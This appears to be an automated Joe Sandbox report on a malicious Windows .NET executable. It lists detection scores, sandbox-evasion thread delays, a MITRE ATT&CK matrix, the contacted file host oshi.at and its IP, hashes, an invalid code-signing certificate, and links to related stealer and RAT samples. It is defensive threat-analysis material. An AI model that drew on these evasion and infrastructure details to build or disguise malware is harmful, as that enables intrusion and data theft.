      Source: C:\Users\user\Desktop\MWP0FO5rAF.exeThread delayed: delay time: 597032Jump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exeThread delayed: delay time: 596907Jump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exeThread delayed: delay time: 596782Jump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exeThread delayed: delay time: 596657Jump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exeThread delayed: delay time: 596545Jump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exeThread delayed: delay time: 596438Jump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exeThread delayed: delay time: 596313Jump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exeThread delayed: delay time: 596188Jump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exeThread delayed: delay time: 596063Jump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exeThread delayed: delay time: 595938Jump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exeThread delayed: delay time: 595828Jump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exeThread delayed: delay time: 595719Jump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exeThread delayed: delay time: 595594Jump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exeThread delayed: delay time: 595485Jump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exeThread delayed: delay time: 595360Jump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exeThread delayed: delay time: 595235Jump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exeThread delayed: delay time: 595110Jump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exeThread delayed: delay time: 594968Jump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exeThread delayed: delay time: 594810Jump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exeThread delayed: delay time: 594577Jump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exeThread delayed: delay time: 594459Jump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exeThread delayed: delay time: 594328Jump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exeThread delayed: delay time: 594219Jump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exeThread delayed: delay time: 594109Jump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exeThread delayed: delay time: 594000Jump to behavior
      Source: MWP0FO5rAF.exe, 00000000.00000002.3796172451.00000000015B1000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exeProcess token adjusted: DebugJump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exeMemory allocated: page read and write | page guardJump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exeQueries volume information: C:\Users\user\Desktop\MWP0FO5rAF.exe VolumeInformationJump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuidJump to behavior

      Mitre Att&ck Matrix

      ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
      Gather Victim Identity InformationAcquire InfrastructureValid AccountsWindows Management Instrumentation1
      DLL Side-Loading      		1
      DLL Side-Loading      		1
      Disable or Modify Tools      		OS Credential Dumping1
      Security Software Discovery      		Remote ServicesData from Local System1
      Encrypted Channel      		Exfiltration Over Other Network MediumAbuse Accessibility Features
      CredentialsDomainsDefault AccountsScheduled Task/JobBoot or Logon Initialization ScriptsBoot or Logon Initialization Scripts31
      Virtualization/Sandbox Evasion      		LSASS Memory31
      Virtualization/Sandbox Evasion      		Remote Desktop ProtocolData from Removable Media3
      Non-Application Layer Protocol      		Exfiltration Over BluetoothNetwork Denial of Service
      Email AddressesDNS ServerDomain AccountsAtLogon Script (Windows)Logon Script (Windows)1
      DLL Side-Loading      		Security Account Manager1
      Application Window Discovery      		SMB/Windows Admin SharesData from Network Shared Drive4
      Application Layer Protocol      		Automated ExfiltrationData Encrypted for Impact
      Employee NamesVirtual Private ServerLocal AccountsCronLogin HookLogin HookBinary PaddingNTDS12
      System Information Discovery      		Distributed Component Object ModelInput Capture3
      Ingress Tool Transfer      		Traffic DuplicationData Destruction

      Behavior Graph

      Hide Legend

      Legend:

      • Process
      • Signature
      • Created File
      • DNS/IP Info
      • Is Dropped
      • Is Windows Process
      • Number of created Registry Values
      • Number of created Files
      • Visual Basic
      • Delphi
      • Java
      • .Net C# or VB.NET
      • C, C++ or other language
      • Is malicious
      • Internet

      Screenshots

      Thumbnails

      This section contains all screenshots as thumbnails, including those not shown in the slideshow.


      windows-stand

      Antivirus, Machine Learning and Genetic Malware Detection

      Initial Sample

      SourceDetectionScannerLabelLink
      MWP0FO5rAF.exe66%ReversingLabsWin32.Exploit.Generic
      MWP0FO5rAF.exe74%VirustotalBrowse
      MWP0FO5rAF.exe100%AviraHEUR/AGEN.1329692
      MWP0FO5rAF.exe100%Joe Sandbox ML

      Dropped Files

      ⊘No Antivirus matches

      Unpacked PE Files

      ⊘No Antivirus matches

      Domains

      ⊘No Antivirus matches

      URLs

      SourceDetectionScannerLabelLink
      https://oshi.at/gQkqd0%Avira URL Cloudsafe
      https://oshi.at/gQkqH0%Avira URL Cloudsafe
      https://oshi.at/gQkq0%Avira URL Cloudsafe
      http://oshi.atH0%Avira URL Cloudsafe
      https://oshi.a0%Avira URL Cloudsafe

      Domains and IPs

      Contacted Domains

      NameIPActiveMaliciousAntivirus DetectionReputation
      oshi.at
      		194.15.112.248
      		truefalse
        		high
        s-part-0017.t-0009.t-msedge.net
        		13.107.246.45
        		truefalse
          		high

          Contacted URLs

          NameMaliciousAntivirus DetectionReputation
          https://oshi.at/gQkqfalse
          • Avira URL Cloud: safe
          		unknown

          URLs from Memory and Binaries

          NameSourceMaliciousAntivirus DetectionReputation
          http://crls.ssl.com/SSLcom-SubCA-EV-CodeSigning-RSA-4096-R3.crl0MWP0FO5rAF.exefalse
            		high
            http://oshi.atdMWP0FO5rAF.exe, 00000000.00000002.3796559647.000000000364E000.00000004.00000800.00020000.00000000.sdmp, MWP0FO5rAF.exe, 00000000.00000002.3796559647.000000000348F000.00000004.00000800.00020000.00000000.sdmp, MWP0FO5rAF.exe, 00000000.00000002.3796559647.000000000333A000.00000004.00000800.00020000.00000000.sdmp, MWP0FO5rAF.exe, 00000000.00000002.3796559647.00000000037D1000.00000004.00000800.00020000.00000000.sdmp, MWP0FO5rAF.exe, 00000000.00000002.3796559647.00000000037B3000.00000004.00000800.00020000.00000000.sdmp, MWP0FO5rAF.exe, 00000000.00000002.3796559647.0000000003808000.00000004.00000800.00020000.00000000.sdmp, MWP0FO5rAF.exe, 00000000.00000002.3796559647.0000000003840000.00000004.00000800.00020000.00000000.sdmp, MWP0FO5rAF.exe, 00000000.00000002.3796559647.00000000033BA000.00000004.00000800.00020000.00000000.sdmp, MWP0FO5rAF.exe, 00000000.00000002.3796559647.000000000351A000.00000004.00000800.00020000.00000000.sdmp, MWP0FO5rAF.exe, 00000000.00000002.3796559647.000000000373E000.00000004.00000800.00020000.00000000.sdmp, MWP0FO5rAF.exe, 00000000.00000002.3796559647.00000000036D8000.00000004.00000800.00020000.00000000.sdmp, MWP0FO5rAF.exe, 00000000.00000002.3796559647.00000000033F4000.00000004.00000800.00020000.00000000.sdmpfalse
              		high
              https://oshi.at/gQkqHMWP0FO5rAF.exe, 00000000.00000002.3796559647.00000000037D1000.00000004.00000800.00020000.00000000.sdmpfalse
              • Avira URL Cloud: safe
              		unknown
              http://crls.ssl.com/ssl.com-rsa-RootCA.crl0MWP0FO5rAF.exefalse
                		high
                http://oshi.atHMWP0FO5rAF.exe, 00000000.00000002.3796559647.000000000364E000.00000004.00000800.00020000.00000000.sdmp, MWP0FO5rAF.exe, 00000000.00000002.3796559647.0000000003808000.00000004.00000800.00020000.00000000.sdmpfalse
                • Avira URL Cloud: safe
                		unknown
                https://oshi.at/gQkqdMWP0FO5rAF.exe, 00000000.00000002.3796559647.00000000037D1000.00000004.00000800.00020000.00000000.sdmp, MWP0FO5rAF.exe, 00000000.00000002.3796559647.0000000003808000.00000004.00000800.00020000.00000000.sdmp, MWP0FO5rAF.exe, 00000000.00000002.3796559647.0000000003840000.00000004.00000800.00020000.00000000.sdmpfalse
                • Avira URL Cloud: safe
                		unknown
                http://crls.ssl.com/SSL.com-timeStamping-I-RSA-R1.crl0MWP0FO5rAF.exefalse
                  		high
                  http://oshi.atMWP0FO5rAF.exe, 00000000.00000002.3796559647.000000000364E000.00000004.00000800.00020000.00000000.sdmp, MWP0FO5rAF.exe, 00000000.00000002.3796559647.000000000348F000.00000004.00000800.00020000.00000000.sdmp, MWP0FO5rAF.exe, 00000000.00000002.3796559647.000000000333A000.00000004.00000800.00020000.00000000.sdmp, MWP0FO5rAF.exe, 00000000.00000002.3796559647.00000000037D1000.00000004.00000800.00020000.00000000.sdmp, MWP0FO5rAF.exe, 00000000.00000002.3796559647.00000000037B3000.00000004.00000800.00020000.00000000.sdmp, MWP0FO5rAF.exe, 00000000.00000002.3796559647.0000000003808000.00000004.00000800.00020000.00000000.sdmp, MWP0FO5rAF.exe, 00000000.00000002.3796559647.0000000003840000.00000004.00000800.00020000.00000000.sdmp, MWP0FO5rAF.exe, 00000000.00000002.3796559647.00000000033BA000.00000004.00000800.00020000.00000000.sdmp, MWP0FO5rAF.exe, 00000000.00000002.3796559647.000000000351A000.00000004.00000800.00020000.00000000.sdmp, MWP0FO5rAF.exe, 00000000.00000002.3796559647.000000000373E000.00000004.00000800.00020000.00000000.sdmp, MWP0FO5rAF.exe, 00000000.00000002.3796559647.00000000036D8000.00000004.00000800.00020000.00000000.sdmp, MWP0FO5rAF.exe, 00000000.00000002.3796559647.00000000033F4000.00000004.00000800.00020000.00000000.sdmpfalse
                    		high
                    https://github.com/somenonymous/OshiUploadMWP0FO5rAF.exe, 00000000.00000002.3796559647.00000000035D2000.00000004.00000800.00020000.00000000.sdmp, MWP0FO5rAF.exe, 00000000.00000002.3796559647.00000000035FE000.00000004.00000800.00020000.00000000.sdmp, MWP0FO5rAF.exe, 00000000.00000002.3796559647.000000000346B000.00000004.00000800.00020000.00000000.sdmp, MWP0FO5rAF.exe, 00000000.00000002.3796559647.0000000003353000.00000004.00000800.00020000.00000000.sdmp, MWP0FO5rAF.exe, 00000000.00000002.3796559647.0000000003392000.00000004.00000800.00020000.00000000.sdmp, MWP0FO5rAF.exe, 00000000.00000002.3796559647.0000000003483000.00000004.00000800.00020000.00000000.sdmp, MWP0FO5rAF.exe, 00000000.00000002.3796559647.00000000035BD000.00000004.00000800.00020000.00000000.sdmp, MWP0FO5rAF.exe, 00000000.00000002.3796559647.0000000003437000.00000004.00000800.00020000.00000000.sdmp, MWP0FO5rAF.exe, 00000000.00000002.3796559647.000000000364E000.00000004.00000800.00020000.00000000.sdmp, MWP0FO5rAF.exe, 00000000.00000002.3796559647.0000000003591000.00000004.00000800.00020000.00000000.sdmp, MWP0FO5rAF.exe, 00000000.00000002.3796559647.000000000348F000.00000004.00000800.00020000.00000000.sdmp, MWP0FO5rAF.exe, 00000000.00000002.3796559647.00000000035AD000.00000004.00000800.00020000.00000000.sdmp, MWP0FO5rAF.exe, 00000000.00000002.3796559647.0000000003443000.00000004.00000800.00020000.00000000.sdmp, MWP0FO5rAF.exe, 00000000.00000002.3796559647.00000000033AA000.00000004.00000800.00020000.00000000.sdmp, MWP0FO5rAF.exe, 00000000.00000002.3796559647.0000000003642000.00000004.00000800.00020000.00000000.sdmp, MWP0FO5rAF.exe, 00000000.00000002.3796559647.000000000361A000.00000004.00000800.00020000.00000000.sdmp, MWP0FO5rAF.exe, 00000000.00000002.3796559647.00000000033B6000.00000004.00000800.00020000.00000000.sdmp, MWP0FO5rAF.exe, 00000000.00000002.3796559647.00000000035E6000.00000004.00000800.00020000.00000000.sdmp, MWP0FO5rAF.exe, 00000000.00000002.3796559647.0000000003602000.00000004.00000800.00020000.00000000.sdmp, MWP0FO5rAF.exe, 00000000.00000002.3796559647.00000000035F6000.00000004.00000800.00020000.00000000.sdmp, MWP0FO5rAF.exe, 00000000.00000002.3796559647.000000000343F000.00000004.00000800.00020000.00000000.sdmpfalse
                      		high
                      https://www.ssl.com/repository0MWP0FO5rAF.exefalse
                        		high
                        http://ocsps.ssl.com0?MWP0FO5rAF.exefalse
                          		high
                          http://ocsps.ssl.com0_MWP0FO5rAF.exefalse
                            		high
                            http://www.ssl.com/repository/SSLcomRootCertificationAuthorityRSA.crt0MWP0FO5rAF.exefalse
                              		high
                              https://oshi.atMWP0FO5rAF.exe, 00000000.00000002.3796559647.00000000037D1000.00000004.00000800.00020000.00000000.sdmp, MWP0FO5rAF.exe, 00000000.00000002.3796559647.0000000003808000.00000004.00000800.00020000.00000000.sdmp, MWP0FO5rAF.exe, 00000000.00000002.3796559647.0000000003840000.00000004.00000800.00020000.00000000.sdmp, MWP0FO5rAF.exe, 00000000.00000002.3796559647.0000000003327000.00000004.00000800.00020000.00000000.sdmp, MWP0FO5rAF.exe, 00000000.00000002.3796559647.00000000036D8000.00000004.00000800.00020000.00000000.sdmpfalse
                                		high
                                http://cert.ssl.com/SSL.com-timeStamping-I-RSA-R1.cer0QMWP0FO5rAF.exefalse
                                  		high
                                  http://ocsps.ssl.com0MWP0FO5rAF.exefalse
                                    		high
                                    http://cert.ssl.com/SSLcom-SubCA-EV-CodeSigning-RSA-4096-R3.cer0MWP0FO5rAF.exefalse
                                      		high
                                      http://crls.ssl.com/SSLcom-RootCA-EV-RSA-4096-R2.crl0MWP0FO5rAF.exefalse
                                        		high
                                        https://oshi.aMWP0FO5rAF.exe, 00000000.00000002.3796559647.00000000033BA000.00000004.00000800.00020000.00000000.sdmpfalse
                                        • Avira URL Cloud: safe
                                        		unknown
                                        http://schemas.xmlsoap.org/ws/2005/05/identity/claims/nameMWP0FO5rAF.exe, 00000000.00000002.3796559647.0000000003327000.00000004.00000800.00020000.00000000.sdmpfalse
                                          		high
                                          http://www.ssl.com/repository/SSLcom-RootCA-EV-RSA-4096-R2.crt0MWP0FO5rAF.exefalse
                                            		high

                                            World Map of Contacted IPs

                                            • No. of IPs < 25%
                                            • 25% < No. of IPs < 50%
                                            • 50% < No. of IPs < 75%
                                            • 75% < No. of IPs

                                            Public IPs

                                            IPDomainCountryFlagASNASN NameMalicious
                                            194.15.112.248
                                            		oshi.atUkraine
                                            		213354INTERNATIONAL-HOSTING-SOLUTIONS-ASEUDCrouteGBfalse

                                            General Information

                                            Joe Sandbox version:42.0.0 Malachite
                                            Analysis ID:1587871
                                            Start date and time:2025-01-10 18:48:37 +01:00
                                            Joe Sandbox product:CloudBasic
                                            Overall analysis duration:0h 6m 32s
                                            Hypervisor based Inspection enabled:false
                                            Report type:full
                                            Cookbook file name:default.jbs
                                            Analysis system description:Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
                                            Number of analysed new started processes analysed:8
                                            Number of new started drivers analysed:0
                                            Number of existing processes analysed:0
                                            Number of existing drivers analysed:0
                                            Number of injected processes analysed:0
                                            Technologies:
                                            • HCA enabled
                                            • EGA enabled
                                            • AMSI enabled
                                            Analysis Mode:default
                                            Analysis stop reason:Timeout
                                            Sample name:MWP0FO5rAF.exe
                                            renamed because original name is a hash value
                                            Original Sample Name:f55861fdfab03622d2e522711b19b3edfa6d50906ab712cfae0810639205b0ce.exe
                                            Detection:MAL
                                            Classification:mal68.troj.winEXE@1/0@1/1
                                            EGA Information:Failed
                                            HCA Information:Failed
                                            Cookbook Comments:
                                            • Found application associated with file extension: .exe
                                            • Override analysis time to 240000 for current running targets taking high CPU consumption

                                            Warnings

                                            • Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
                                            • Excluded IPs from analysis (whitelisted): 13.107.246.45, 52.149.20.212
                                            • Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, otelrules.afd.azureedge.net, azureedge-t-prod.trafficmanager.net, fe3cr.delivery.mp.microsoft.com
                                            • Execution Graph export aborted for target MWP0FO5rAF.exe, PID 7668 because it is empty
                                            • Not all processes where analyzed, report is missing behavior information
                                            • Report size getting too big, too many NtOpenKeyEx calls found.
                                            • Report size getting too big, too many NtQueryValueKey calls found.
                                            • Report size getting too big, too many NtReadVirtualMemory calls found.

                                            Simulations

                                            Behavior and APIs

                                            TimeTypeDescription
                                            12:49:31API Interceptor9588442x Sleep call for process: MWP0FO5rAF.exe modified

                                            Joe Sandbox View / Context

                                            IPs

                                            MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                            194.15.112.248IMG_10503677.exeGet hashmaliciousMassLogger RATBrowse
                                              Ref#103052.exeGet hashmaliciousXWormBrowse
                                                9876567899.bat.exeGet hashmaliciousLokibotBrowse
                                                  Ref_31020563.exeGet hashmaliciousUnknownBrowse
                                                    Ref#116670.exeGet hashmaliciousMassLogger RATBrowse
                                                      Ref#60031796.exeGet hashmaliciousAgentTeslaBrowse
                                                        Ref#1550238.exeGet hashmaliciousAgentTeslaBrowse
                                                          KyrazonSetup.exeGet hashmaliciousUnknownBrowse
                                                            KyrazonSetup.exeGet hashmaliciousUnknownBrowse
                                                              Order._1.exeGet hashmaliciousAsyncRAT, Babadeda, PureLog Stealer, zgRATBrowse

                                                                Domains

                                                                MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                s-part-0017.t-0009.t-msedge.net3HnH4uJtE7.exeGet hashmaliciousFormBookBrowse
                                                                • 13.107.246.45
                                                                Encrypted_Archive_2025_LHC1W64SMW.htmlGet hashmaliciousHTMLPhisherBrowse
                                                                • 13.107.246.45
                                                                GcA5z6ZWRK.exeGet hashmaliciousUnknownBrowse
                                                                • 13.107.246.45
                                                                Unconfirmed 287374.emlGet hashmaliciousUnknownBrowse
                                                                • 13.107.246.45
                                                                https://www.depoqq.win/genoGet hashmaliciousUnknownBrowse
                                                                • 13.107.246.45
                                                                17048156412338914445.jsGet hashmaliciousStrela DownloaderBrowse
                                                                • 13.107.246.45
                                                                251443863021115246.jsGet hashmaliciousStrela DownloaderBrowse
                                                                • 13.107.246.45
                                                                12662108703247616042.jsGet hashmaliciousStrela DownloaderBrowse
                                                                • 13.107.246.45
                                                                wN7EPNiHSM.exeGet hashmaliciousFormBookBrowse
                                                                • 13.107.246.45
                                                                334130052300215064.jsGet hashmaliciousStrela DownloaderBrowse
                                                                • 13.107.246.45
                                                                oshi.atGhwFStoMJX.exeGet hashmaliciousUnknownBrowse
                                                                • 5.253.86.15
                                                                GhwFStoMJX.exeGet hashmaliciousUnknownBrowse
                                                                • 5.253.86.15
                                                                IMG_10503677.exeGet hashmaliciousMassLogger RATBrowse
                                                                • 194.15.112.248
                                                                IMG_10503677.exeGet hashmaliciousUnknownBrowse
                                                                • 5.253.86.15
                                                                Holiday#3021.exeGet hashmaliciousUnknownBrowse
                                                                • 5.253.86.15
                                                                Holiday#3021.exeGet hashmaliciousUnknownBrowse
                                                                • 5.253.86.15
                                                                Ref#103052.exeGet hashmaliciousXWormBrowse
                                                                • 194.15.112.248
                                                                Ref#103052.exeGet hashmaliciousUnknownBrowse
                                                                • 5.253.86.15
                                                                9876567899.bat.exeGet hashmaliciousLokibotBrowse
                                                                • 194.15.112.248
                                                                Ref#66001032.exeGet hashmaliciousAgentTeslaBrowse
                                                                • 5.253.86.15

                                                                ASNs

                                                                MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                INTERNATIONAL-HOSTING-SOLUTIONS-ASEUDCrouteGBIMG_10503677.exeGet hashmaliciousMassLogger RATBrowse
                                                                • 194.15.112.248
                                                                Ref#103052.exeGet hashmaliciousXWormBrowse
                                                                • 194.15.112.248
                                                                9876567899.bat.exeGet hashmaliciousLokibotBrowse
                                                                • 194.15.112.248
                                                                Ref_31020563.exeGet hashmaliciousUnknownBrowse
                                                                • 194.15.112.248
                                                                Ref#116670.exeGet hashmaliciousMassLogger RATBrowse
                                                                • 194.15.112.248
                                                                Ref#60031796.exeGet hashmaliciousAgentTeslaBrowse
                                                                • 194.15.112.248
                                                                Ref#1550238.exeGet hashmaliciousAgentTeslaBrowse
                                                                • 194.15.112.248
                                                                KyrazonSetup.exeGet hashmaliciousUnknownBrowse
                                                                • 194.15.112.248
                                                                KyrazonSetup.exeGet hashmaliciousUnknownBrowse
                                                                • 194.15.112.248
                                                                Order._1.exeGet hashmaliciousAsyncRAT, Babadeda, PureLog Stealer, zgRATBrowse
                                                                • 194.15.112.248

                                                                JA3 Fingerprints

                                                                MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                3b5074b1b5d032e5620f69f9f700ff0eAHSlIDftf1.exeGet hashmaliciousSnake Keylogger, VIP KeyloggerBrowse
                                                                • 194.15.112.248
                                                                eLo1khn7DQ.exeGet hashmaliciousMassLogger RATBrowse
                                                                • 194.15.112.248
                                                                grW5hyK960.exeGet hashmaliciousUnknownBrowse
                                                                • 194.15.112.248
                                                                MzqLQjCwrw.exeGet hashmaliciousMassLogger RATBrowse
                                                                • 194.15.112.248
                                                                grW5hyK960.exeGet hashmaliciousUnknownBrowse
                                                                • 194.15.112.248
                                                                r5yYt97sfB.exeGet hashmaliciousGuLoader, Snake Keylogger, VIP KeyloggerBrowse
                                                                • 194.15.112.248
                                                                RmIYOfX0yO.exeGet hashmaliciousGuLoader, Snake KeyloggerBrowse
                                                                • 194.15.112.248
                                                                IUqsn1SBGy.exeGet hashmaliciousAgentTeslaBrowse
                                                                • 194.15.112.248
                                                                8nkdC8daWi.exeGet hashmaliciousSnake Keylogger, VIP KeyloggerBrowse
                                                                • 194.15.112.248
                                                                2V7usxd7Vc.exeGet hashmaliciousMassLogger RATBrowse
                                                                • 194.15.112.248

                                                                Dropped Files

                                                                ⊘No context

                                                                Created / dropped Files

                                                                ⊘No created / dropped files found

                                                                Static File Info

                                                                General

                                                                File type:PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                Entropy (8bit):5.036908290750075
                                                                TrID:
                                                                • Win32 Executable (generic) Net Framework (10011505/4) 50.01%
                                                                • Win32 Executable (generic) a (10002005/4) 49.97%
                                                                • Generic Win/DOS Executable (2004/3) 0.01%
                                                                • DOS Executable Generic (2002/1) 0.01%
                                                                • Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
                                                                File name:MWP0FO5rAF.exe
                                                                File size:1'072'096 bytes
                                                                MD5:79e059e518b08adbf428180b3e05495e
                                                                SHA1:53dec3a16758aeb96a1afce4245b26c56d53d40a
                                                                SHA256:f55861fdfab03622d2e522711b19b3edfa6d50906ab712cfae0810639205b0ce
                                                                SHA512:ea2cf8b54c29f83cd49d997a849bc4c1ad264738a7e353450f361cbb086febb317065607d0ef97d921d701632f4c8f88247e7b27681bd5ee73c58d6735a2133e
                                                                SSDEEP:12288:q5WKZq9ivLuQrN7QYzm7GfnKt8AmKCwTNeCSlyF1TdQL0q82gev0oOKHGTLu3p/s:xWKMKNRGQPhnklmiA
                                                                TLSH:9C350E67798EA7B0E2007B33D9975C988391FE47371BC21B398B375E28167BE8941607
                                                                File Content Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...3.bg.....................J......N.... ... ....@.. ....................................`................................

                                                                File Icon

                                                                Icon Hash:27d8dcd6d4d85007

                                                                Static PE Info

                                                                General

                                                                Entrypoint:0x50114e
                                                                Entrypoint Section:.text
                                                                Digitally signed:true
                                                                Imagebase:0x400000
                                                                Subsystem:windows gui
                                                                Image File Characteristics:EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
                                                                DLL Characteristics:HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
                                                                Time Stamp:0x67620C33 [Tue Dec 17 23:41:39 2024 UTC]
                                                                TLS Callbacks:
                                                                CLR (.Net) Version:
                                                                OS Version Major:4
                                                                OS Version Minor:0
                                                                File Version Major:4
                                                                File Version Minor:0
                                                                Subsystem Version Major:4
                                                                Subsystem Version Minor:0
                                                                Import Hash:f34d5f2d4577ed6d9ceec516c1f5a744

                                                                Authenticode Signature

                                                                Signature Valid:false
                                                                Signature Issuer:CN=SSL.com EV Code Signing Intermediate CA RSA R3, O=SSL Corp, L=Houston, S=Texas, C=US
                                                                Signature Validation Error:The digital signature of the object did not verify
                                                                Error Number:-2146869232
                                                                Not Before, Not After
                                                                • 04/07/2024 05:35:32 15/05/2027 16:15:04
                                                                Subject Chain
                                                                • OID.1.3.6.1.4.1.311.60.2.1.3=VN, OID.2.5.4.15=Private Organization, CN="DUC FABULOUS CO.,LTD", SERIALNUMBER=0105838409, O="DUC FABULOUS CO.,LTD", L=Hanoi, C=VN
                                                                Version:3
                                                                Thumbprint MD5:FF0E889D2A73C3A679605952D35452DC
                                                                Thumbprint SHA-1:2C1D12F8BBE0827400A8440AF74FFFA8DCC8097C
                                                                Thumbprint SHA-256:A73352D67693AA16BCE2F182B15891F0F23EA0485CC18938686AAFDEE7B743E3
                                                                Serial:6DD2E3173995F51BFAC1D9FB4CB200C1

                                                                Entrypoint Preview

                                                                Instruction
                                                                jmp dword ptr [00402000h]
                                                                add byte ptr [eax], al
                                                                add byte ptr [eax], al
                                                                add byte ptr [eax], al
                                                                add byte ptr [eax], al
                                                                add byte ptr [eax], al
                                                                add byte ptr [eax], al
                                                                add byte ptr [eax], al
                                                                add byte ptr [eax], al
                                                                add byte ptr [eax], al
                                                                add byte ptr [eax], al
                                                                add byte ptr [eax], al
                                                                add byte ptr [eax], al
                                                                add byte ptr [eax], al
                                                                add byte ptr [eax], al
                                                                add byte ptr [eax], al
                                                                add byte ptr [eax], al
                                                                add byte ptr [eax], al
                                                                add byte ptr [eax], al
                                                                add byte ptr [eax], al
                                                                add byte ptr [eax], al
                                                                add byte ptr [eax], al
                                                                add byte ptr [eax], al
                                                                add byte ptr [eax], al
                                                                add byte ptr [eax], al
                                                                add byte ptr [eax], al
                                                                add byte ptr [eax], al
                                                                add byte ptr [eax], al
                                                                add byte ptr [eax], al
                                                                add byte ptr [eax], al
                                                                add byte ptr [eax], al
                                                                add byte ptr [eax], al
                                                                add byte ptr [eax], al
                                                                add byte ptr [eax], al
                                                                add byte ptr [eax], al
                                                                add byte ptr [eax], al
                                                                add byte ptr [eax], al
                                                                add byte ptr [eax], al
                                                                add byte ptr [eax], al
                                                                add byte ptr [eax], al
                                                                add byte ptr [eax], al
                                                                add byte ptr [eax], al
                                                                add byte ptr [eax], al
                                                                add byte ptr [eax], al
                                                                add byte ptr [eax], al
                                                                add byte ptr [eax], al
                                                                add byte ptr [eax], al
                                                                add byte ptr [eax], al
                                                                add byte ptr [eax], al
                                                                add byte ptr [eax], al
                                                                add byte ptr [eax], al
                                                                add byte ptr [eax], al
                                                                add byte ptr [eax], al
                                                                add byte ptr [eax], al
                                                                add byte ptr [eax], al
                                                                add byte ptr [eax], al
                                                                add byte ptr [eax], al
                                                                add byte ptr [eax], al
                                                                add byte ptr [eax], al
                                                                add byte ptr [eax], al
                                                                add byte ptr [eax], al
                                                                add byte ptr [eax], al
                                                                add byte ptr [eax], al
                                                                add byte ptr [eax], al
                                                                add byte ptr [eax], al
                                                                add byte ptr [eax], al
                                                                add byte ptr [eax], al
                                                                add byte ptr [eax], al
                                                                add byte ptr [eax], al
                                                                add byte ptr [eax], al
                                                                add byte ptr [eax], al
                                                                add byte ptr [eax], al
                                                                add byte ptr [eax], al
                                                                add byte ptr [eax], al
                                                                add byte ptr [eax], al
                                                                add byte ptr [eax], al
                                                                add byte ptr [eax], al
                                                                add byte ptr [eax], al
                                                                add byte ptr [eax], al
                                                                add byte ptr [eax], al
                                                                add byte ptr [eax], al
                                                                add byte ptr [eax], al
                                                                add byte ptr [eax], al
                                                                add byte ptr [eax], al
                                                                add byte ptr [eax], al
                                                                add byte ptr [eax], al
                                                                add byte ptr [eax], al
                                                                add byte ptr [eax], al
                                                                add byte ptr [eax], al
                                                                add byte ptr [eax], al
                                                                add byte ptr [eax], al
                                                                add byte ptr [eax], al
                                                                add byte ptr [eax], al
                                                                add byte ptr [eax], al
                                                                add byte ptr [eax], al
                                                                add byte ptr [eax], al
                                                                add byte ptr [eax], al
                                                                add byte ptr [eax], al

                                                                Data Directories

                                                                NameVirtual AddressVirtual Size Is in Section
                                                                IMAGE_DIRECTORY_ENTRY_EXPORT0x00x0
                                                                IMAGE_DIRECTORY_ENTRY_IMPORT0x1011000x4b.text
                                                                IMAGE_DIRECTORY_ENTRY_RESOURCE0x1020000x4660.rsrc
                                                                IMAGE_DIRECTORY_ENTRY_EXCEPTION0x00x0
                                                                IMAGE_DIRECTORY_ENTRY_SECURITY0x103e000x1de0.rsrc
                                                                IMAGE_DIRECTORY_ENTRY_BASERELOC0x1080000xc.reloc
                                                                IMAGE_DIRECTORY_ENTRY_DEBUG0x00x0
                                                                IMAGE_DIRECTORY_ENTRY_COPYRIGHT0x00x0
                                                                IMAGE_DIRECTORY_ENTRY_GLOBALPTR0x00x0
                                                                IMAGE_DIRECTORY_ENTRY_TLS0x00x0
                                                                IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG0x00x0
